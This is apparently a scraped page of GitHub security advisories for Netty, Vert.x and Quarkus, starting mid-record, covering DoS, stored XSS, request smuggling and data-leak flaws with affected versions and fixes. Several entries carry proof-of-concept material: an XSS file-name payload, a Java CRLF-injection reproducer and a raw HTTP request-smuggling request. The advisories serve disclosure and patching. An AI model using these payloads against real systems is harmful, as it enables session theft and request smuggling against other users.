io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)\n\tat io.netty.handler.codec.compression.T.main(T.java:11)\n```\n\n### Impact\n\nDoS for anyone using `BrotliDecoder` on untrusted input.",
"id": "GHSA-3p8m-j85q-pgmj",
"modified": "2025-09-04T13:51:43Z",
"published": "2025-09-03T18:00:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty\u0027s decoders vulnerable to DoS via zip bomb style attack"
}
GHSA-45P5-V273-3QQR
Vulnerability from github – Published: 2025-10-22 19:38 – Updated: 2026-01-21 16:37Description
- In the
StaticHandlerImpl#sendDirectoryListing(...)method under thetext/htmlbranch, file and directory names are directly embedded into thehref,title, and link text without proper HTML escaping. - As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.
- Affected Code:
- File:
vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java - Lines:
- 709–713:
normalizedDiris constructed without escaping - 714–731:
<li><a ...>elements insert file names directly into attributes and body without escaping - 744: parent directory name construction
- 746–751:
{directory},{parent}, and{files}are inserted into the HTML template without escaping
- 709–713:
- File:
Reproduction Steps
-
Prerequisites:
- Directory listing is enabled using
StaticHandler
(e.g.,StaticHandler.create("public").setDirectoryListing(true)) - The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)
- Directory listing is enabled using
-
Create a malicious file name (example for Unix-based OS):
- Create an empty file in
public/with one of the following names: <img src=x onerror=alert('XSS')>.txt- Or attribute injection:
evil" onmouseover="alert('XSS')".txt - Example:
bash mkdir -p public printf 'test' > "public/<img src=x onerror=alert('XSS')>.txt"
- Create an empty file in
-
Start the server (example):
- Routing:
router.route("/public/*").handler(StaticHandler.create("public").setDirectoryListing(true)); - Server:
vertx.createHttpServer().requestHandler(router).listen(8890);
- Routing:
-
Verification request (raw HTTP):
GET /public/ HTTP/1.1 Host: 127.0.0.1:8890 Accept: text/html Connection: close -
Example response excerpt:
html <ul id="files"> <li> <a href="/public/<img src=x onerror=alert('XSS')>.txt" title="<img src=x onerror=alert('XSS')>.txt"> <img src=x onerror=alert('XSS')>.txt </a> </li> ... </ul> -
When accessing
/public/in a browser, the unescaped file name is interpreted as HTML, and event handlers such asonerrorare executed.
Potential Impact
-
Stored XSS
- Arbitrary JavaScript executes in the browser context of users viewing the listing page
- Possible consequences:
- Theft of session tokens, JWTs, localStorage contents, or CSRF tokens
- Unauthorized actions with admin privileges (user creation, permission changes, settings modifications)
- Watering hole attacks, including malware distribution or malicious script injection to other pages
-
Common Conditions That Make Exploitation Easier
- Uploaded files are served directly under a publicly accessible directory
- Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed
- ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments
Similar CVEs Previously Reported
- CVE‑2024‑32966
- CVE‑2019‑15603
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-web"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.4"
},
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-web"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-11966"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-22T19:38:11Z",
"nvd_published_at": "2025-10-22T15:15:31Z",
"severity": "LOW"
},
"details": "# Description\n\n- In the `StaticHandlerImpl#sendDirectoryListing(...)` method under the `text/html` branch, file and directory names are directly embedded into the `href`, `title`, and link text without proper HTML escaping.\n- As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.\n- Affected Code:\n - File: `vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java`\n - Lines:\n - 709\u2013713: `normalizedDir` is constructed without escaping\n - 714\u2013731: `\u003cli\u003e\u003ca ...\u003e` elements insert file names directly into attributes and body without escaping\n - 744: parent directory name construction\n - 746\u2013751: `{directory}`, `{parent}`, and `{files}` are inserted into the HTML template without escaping\n\n# Reproduction Steps\n\n1. Prerequisites:\n - Directory listing is enabled using `StaticHandler` \n (e.g., `StaticHandler.create(\"public\").setDirectoryListing(true)`)\n - The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)\n\n2. Create a malicious file name (example for Unix-based OS):\n - Create an empty file in `public/` with one of the following names:\n - `\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt`\n - Or attribute injection: `evil\" onmouseover=\"alert(\u0027XSS\u0027)\".txt`\n - Example:\n ```bash\n mkdir -p public\n printf \u0027test\u0027 \u003e \"public/\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\"\n ```\n\n3. Start the server (example):\n - Routing: `router.route(\"/public/*\").handler(StaticHandler.create(\"public\").setDirectoryListing(true));`\n - Server: `vertx.createHttpServer().requestHandler(router).listen(8890);`\n\n4. Verification request (raw HTTP):\n ```\n GET /public/ HTTP/1.1\n Host: 127.0.0.1:8890\n Accept: text/html\n Connection: close\n ```\n\n5. Example response excerpt:\n ```html\n \u003cul id=\"files\"\u003e\n \u003cli\u003e\n \u003ca href=\"/public/\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\"\n title=\"\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\"\u003e\n \u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\n \u003c/a\u003e\n \u003c/li\u003e\n ...\n \u003c/ul\u003e\n ```\n\n- When accessing `/public/` in a browser, the unescaped file name is interpreted as HTML, and event handlers such as `onerror` are executed.\n\n# Potential Impact\n\n- **Stored XSS**\n - Arbitrary JavaScript executes in the browser context of users viewing the listing page\n - Possible consequences:\n - Theft of session tokens, JWTs, localStorage contents, or CSRF tokens\n - Unauthorized actions with admin privileges (user creation, permission changes, settings modifications)\n - Watering hole attacks, including malware distribution or malicious script injection to other pages\n\n- **Common Conditions That Make Exploitation Easier**\n - Uploaded files are served directly under a publicly accessible directory\n - Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed\n - ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments\n\n# Similar CVEs Previously Reported\n\n- CVE\u20112024\u201132966 \n- CVE\u20112019\u201115603",
"id": "GHSA-45p5-v273-3qqr",
"modified": "2026-01-21T16:37:06Z",
"published": "2025-10-22T19:38:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vert-x3/vertx-web/security/advisories/GHSA-45p5-v273-3qqr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11966"
},
{
"type": "PACKAGE",
"url": "https://github.com/vert-x3/vertx-web"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/303"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Vert.x-Web vulnerable to Stored Cross-site Scripting in directory listings via file names"
}
GHSA-5RFX-CP42-P624
Vulnerability from github – Published: 2026-01-07 18:09 – Updated: 2026-01-07 20:37A vulnerability exists in the HTTP layer of Quarkus REST related to response handling. When a response is being written, the framework waits for previously written response chunks to be fully transmitted before proceeding. If the client connection is dropped during this waiting period, the associated worker thread is never released and becomes permanently blocked. Under sustained or repeated occurrences, this can exhaust the available worker threads, leading to degraded performance, or complete unavailability of the application.
Workarounds
For versions without the fix applied, it is recommended to implement a health check that monitors the status and saturation of the worker thread pool. This helps detect abnormal thread retention early and allows operators to take corrective action before the application’s responsiveness is impacted.
Credits
CVE reported by Shaswata Jash, Nokia
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.quarkus:quarkus-rest"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.20.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.quarkus:quarkus-rest"
},
"ranges": [
{
"events": [
{
"introduced": "3.21.0"
},
{
"fixed": "3.27.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.quarkus:quarkus-rest"
},
"ranges": [
{
"events": [
{
"introduced": "3.30.0"
},
{
"fixed": "3.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66560"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-07T18:09:56Z",
"nvd_published_at": "2026-01-07T18:15:52Z",
"severity": "MODERATE"
},
"details": "A vulnerability exists in the HTTP layer of Quarkus REST related to response handling. When a response is being written, the framework waits for previously written response chunks to be fully transmitted before proceeding. If the client connection is dropped during this waiting period, the associated worker thread is never released and becomes permanently blocked. Under sustained or repeated occurrences, this can exhaust the available worker threads, leading to degraded performance, or complete unavailability of the application.\n\n## Workarounds\n\nFor versions without the fix applied, it is recommended to implement a health check that monitors the status and saturation of the worker thread pool. This helps detect abnormal thread retention early and allows operators to take corrective action before the application\u2019s responsiveness is impacted.\n\n## Credits\n\nCVE reported by Shaswata Jash, Nokia",
"id": "GHSA-5rfx-cp42-p624",
"modified": "2026-01-07T20:37:40Z",
"published": "2026-01-07T18:09:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/quarkusio/quarkus/security/advisories/GHSA-5rfx-cp42-p624"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66560"
},
{
"type": "PACKAGE",
"url": "https://github.com/quarkusio/quarkus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Quarkus REST has potential worker thread starvation when HTTP connection is closed while waiting to write"
}
GHSA-84H7-RJJ3-6JX4
Vulnerability from github – Published: 2025-12-15 23:28 – Updated: 2025-12-20 02:30Summary
The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.
Details
The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)
The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.
PoC
Simple reproducer:
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel();
client.pipeline().addLast(new HttpClientCodec());
EmbeddedChannel server = new EmbeddedChannel();
server.pipeline().addLast(new HttpServerCodec());
server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
System.out.println("Processing msg " + msg);
}
});
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1,
HttpMethod.GET,
"/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1"
);
client.writeAndFlush(request);
ByteBuf tmp;
while ((tmp = client.readOutbound()) != null) {
server.writeInbound(tmp);
}
}
Impact
Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.8.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.129.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-67735"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-15T23:28:49Z",
"nvd_published_at": "2025-12-16T01:15:52Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri.\n\n### Details\n\nThe `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`)\n\nThe default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.\n\n### PoC\n\nSimple reproducer:\n\n```java\npublic static void main(String[] args) {\n\n EmbeddedChannel client = new EmbeddedChannel();\n client.pipeline().addLast(new HttpClientCodec());\n\n EmbeddedChannel server = new EmbeddedChannel();\n server.pipeline().addLast(new HttpServerCodec());\n server.pipeline().addLast(new ChannelInboundHandlerAdapter() {\n @Override\n public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {\n System.out.println(\"Processing msg \" + msg);\n }\n });\n\n DefaultHttpRequest request = new DefaultHttpRequest(\n HttpVersion.HTTP_1_1,\n HttpMethod.GET,\n \"/s1 HTTP/1.1\\r\\n\" +\n \"\\r\\n\" +\n \"POST /s2 HTTP/1.1\\r\\n\" +\n \"content-length: 11\\r\\n\\r\\n\" +\n \"Hello World\" +\n \"GET /s1\"\n );\n client.writeAndFlush(request);\n ByteBuf tmp;\n while ((tmp = client.readOutbound()) != null) {\n server.writeInbound(tmp);\n }\n}\n```\n\n### Impact\n\nAny application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection.",
"id": "GHSA-84h7-rjj3-6jx4",
"modified": "2025-12-20T02:30:14Z",
"published": "2025-12-15T23:28:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67735"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/77e81f1e5944d98b3acf887d3aa443b252752e94"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder"
}
GHSA-9623-MJ7J-P9V4
Vulnerability from github – Published: 2025-06-23 18:53 – Updated: 2025-12-22 18:38Impact
Vert.x 4.5.12 has changed the semantics of the duplication of duplicated context.
Duplicated context is an object used to propagate data through a processing (synchronous or asynchronous). Each "transaction" or "processing" runs on its own isolated duplicated context.
Initially, duplicating a duplicated context was creating a fresh (empty) new context, meaning that the new duplicated context can be used to managed a separated transaction.
In Vert.x 4.5.12, this semantics has changed, and since the content of the parent duplicated context is copied into the new one, potentially leaking data.
This CVE is especially for Quarkus as Quarkus extensively uses the Vert.x duplicated context to implement context propagation. With the new semantic data from one transaction can leak to the data from another transaction. From a Vert.x point of view, this new semantic clarifies the behavior.
A significant amount of data is stored in the duplicated context, including request scope, security details, and metadata. Duplicating a duplicated context is rather rare and is only done in a few places:
- Quarkus REST Client when using OTel (but it's the same transaction, so no leak)
- Quarkus Messaging connectors
- Quarkus SmallRye Health (same transaction, so no leak)
Patches
After discussion with the Vert.x team, the change will be rolled back in Vert.x 4.x. A new API will be added to Vert.x 5 do distinguish the 2 cases.
Workarounds
When duplicating a duplicated context, the following code can be done to avoid the potential leak:
((ContextInternal) VertxContext.getRootContext(ctx)).duplicate()
This workaround would not be required once the Vert.x version containing the fix will be included. Note that the workaround would still work.
References
This issue have been reported in https://github.com/quarkusio/quarkus/issues/48227.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.15.5"
},
"package": {
"ecosystem": "Maven",
"name": "io.quarkus:quarkus-vertx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.15.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.20.1"
},
"package": {
"ecosystem": "Maven",
"name": "io.quarkus:quarkus-vertx"
},
"ranges": [
{
"events": [
{
"introduced": "3.16.0.CR1"
},
{
"fixed": "3.20.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.24.0"
},
"package": {
"ecosystem": "Maven",
"name": "io.quarkus:quarkus-vertx"
},
"ranges": [
{
"events": [
{
"introduced": "3.21.0.CR1"
},
{
"fixed": "3.24.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-49574"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-23T18:53:22Z",
"nvd_published_at": "2025-06-23T20:15:28Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nVert.x 4.5.12 has changed the semantics of the duplication of duplicated context.\n\nDuplicated context is an object used to propagate data through a processing (synchronous or asynchronous). Each \"transaction\" or \"processing\" runs on its own isolated duplicated context.\n\nInitially, duplicating a duplicated context was creating a fresh (empty) new context, meaning that the new duplicated context can be used to managed a separated transaction.\n\nIn Vert.x 4.5.12, this semantics has changed, and since the content of the parent duplicated context is copied into the new one, potentially leaking data. \n\nThis CVE is especially for Quarkus as Quarkus extensively uses the Vert.x duplicated context to implement context propagation. With the new semantic data from one transaction can leak to the data from another transaction. From a Vert.x point of view, this new semantic clarifies the behavior. \n\nA significant amount of data is stored in the duplicated context, including request scope, security details, and metadata. Duplicating a duplicated context is rather rare and is only done in a few places:\n\n- Quarkus REST Client when using OTel (but it\u0027s the same transaction, so no leak)\n- Quarkus Messaging connectors\n- Quarkus SmallRye Health (same transaction, so no leak)\n\n\n\n### Patches\n\nAfter discussion with the Vert.x team, the change will be rolled back in Vert.x 4.x. A new API will be added to Vert.x 5 do distinguish the 2 cases.\n\n### Workarounds\n\nWhen duplicating a duplicated context, the following code can be done to avoid the potential leak:\n\n```java\n((ContextInternal) VertxContext.getRootContext(ctx)).duplicate()\n```\n\nThis workaround would not be required once the Vert.x version containing the fix will be included. Note that the workaround would still work. \n\n\n### References\n\nThis issue have been reported in https://github.com/quarkusio/quarkus/issues/48227.",
"id": "GHSA-9623-mj7j-p9v4",
"modified": "2025-12-22T18:38:56Z",
"published": "2025-06-23T18:53:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/quarkusio/quarkus/security/advisories/GHSA-9623-mj7j-p9v4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49574"
},
{
"type": "WEB",
"url": "https://github.com/quarkusio/quarkus/issues/48227"
},
{
"type": "WEB",
"url": "https://github.com/quarkusio/quarkus/pull/48486"
},
{
"type": "WEB",
"url": "https://github.com/quarkusio/quarkus/commit/2b58f59f4bf0bae7d35b1abb585b65f2a66787d1"
},
{
"type": "WEB",
"url": "https://github.com/quarkusio/quarkus/commit/31e8a3bfcf4e223788615d5ce25eb929ca251275"
},
{
"type": "WEB",
"url": "https://github.com/quarkusio/quarkus/commit/d1ee57e7b826872b6355cfec0ae13465840e232c"
},
{
"type": "PACKAGE",
"url": "https://github.com/quarkusio/quarkus"
},
{
"type": "WEB",
"url": "https://github.com/quarkusio/quarkus/releases/tag/3.24.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Quarkus potentially leaks data when duplicating a duplicated context"
}
GHSA-CPHF-4846-3XX9
Vulnerability from github – Published: 2026-01-15 21:31 – Updated: 2026-01-16 20:20The Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI.
The issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web): https://github.com/eclipse-vertx/vert.x/pull/5895
Steps to reproduce Given a file served by the static handler, craft an URI that introduces a string like bar%2F..%2F after the last / char to deny the access to the URI with an HTTP 404 response. For example https://example.com/foo/index.html can be denied with https://example.com/foo/bar%2F..%2Findex.html
Mitgation Disabling Static Handler cache fixes the issue.
StaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false);
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.24"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-core"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0.CR1"
},
{
"fixed": "5.0.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1002"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-15T22:51:27Z",
"nvd_published_at": "2026-01-15T21:16:05Z",
"severity": "MODERATE"
},
"details": "The Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI.\n\n\nThe issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web): https://github.com/eclipse-vertx/vert.x/pull/5895 \n\n\n\nSteps to reproduce\nGiven a file served by the static handler, craft an URI that introduces a string like bar%2F..%2F after the last / char to deny the access to the URI with an HTTP 404 response. For example https://example.com/foo/index.html can be denied with https://example.com/foo/bar%2F..%2Findex.html\n\nMitgation\nDisabling Static Handler cache fixes the issue.\n\n\n\nStaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false);",
"id": "GHSA-cphf-4846-3xx9",
"modified": "2026-01-16T20:20:55Z",
"published": "2026-01-15T21:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1002"
},
{
"type": "WEB",
"url": "https://github.com/vert-x3/vertx-web/issues/2836"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-vertx/vert.x/pull/5894"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-vertx/vert.x/pull/5895"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-vertx/vert.x/commit/5b67f5d17788b2483d277c760f3f8154f9b2fed0"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-vertx/vert.x/commit/d007e7b418543eb1567fe95cf20f5450a5c2d047"
},
{
"type": "PACKAGE",
"url": "https://github.com/eclipse-vertx/vert.x"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Vert.x Web static handler component cache can be manipulated to deny the access to static files"
}
GHSA-FGHV-69VJ-QJ49
Vulnerability from github – Published: 2025-09-04 17:35 – Updated: 2025-09-10 20:48Summary
A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.
Details
When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the RFC).
This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):
POST /one HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0
POST /two HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
0
The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see this Portswigger article).
Impact
This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.
The impact is high, but it only affects setups that use a front-end which: 1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. 2. Forwards chunk extensions without normalization.
Disclosure
- This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html
Discussion
Discussion for this vulnerability can be found here: - https://github.com/netty/netty/issues/15522 - https://github.com/JLLeitschuh/unCVEed/issues/1
Credit
- Credit to @JeppW for uncovering this vulnerability.
- Credit to @JLLeitschuh at Socket for coordinating the vulnerability disclosure.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.125.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.5.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58056"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-04T17:35:20Z",
"nvd_published_at": "2025-09-03T21:15:33Z",
"severity": "LOW"
},
"details": "## Summary\nA flaw in netty\u0027s parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.\n\n## Details\nWhen encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)).\n\nThis is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):\n\n```\nPOST /one HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n48;\\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n0\n\nPOST /two HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n0\n\n```\n\nThe intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)).\n\n## Impact\nThis is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.\n\nThe impact is high, but it only affects setups that use a front-end which:\n1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension.\n2. Forwards chunk extensions without normalization.\n\n## Disclosure\n\n - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html\n\n## Discussion\nDiscussion for this vulnerability can be found here:\n - https://github.com/netty/netty/issues/15522\n - https://github.com/JLLeitschuh/unCVEed/issues/1\n\n## Credit\n\n - Credit to @JeppW for uncovering this vulnerability.\n - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure.",
"id": "GHSA-fghv-69vj-qj49",
"modified": "2025-09-10T20:48:05Z",
"published": "2025-09-04T17:35:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-fghv-69vj-qj49"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58056"
},
{
"type": "WEB",
"url": "https://github.com/JLLeitschuh/unCVEed/issues/1"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/issues/15522"
},
{
"type": "WEB",
"url": "https://github.com/github/advisory-database/pull/6092"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/pull/15611"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/edb55fd8e0a3bcbd85881e423464f585183d1284"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://w4ke.info/2025/06/18/funky-chunks.html"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Netty vulnerable to request smuggling due to incorrect parsing of chunk extensions"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
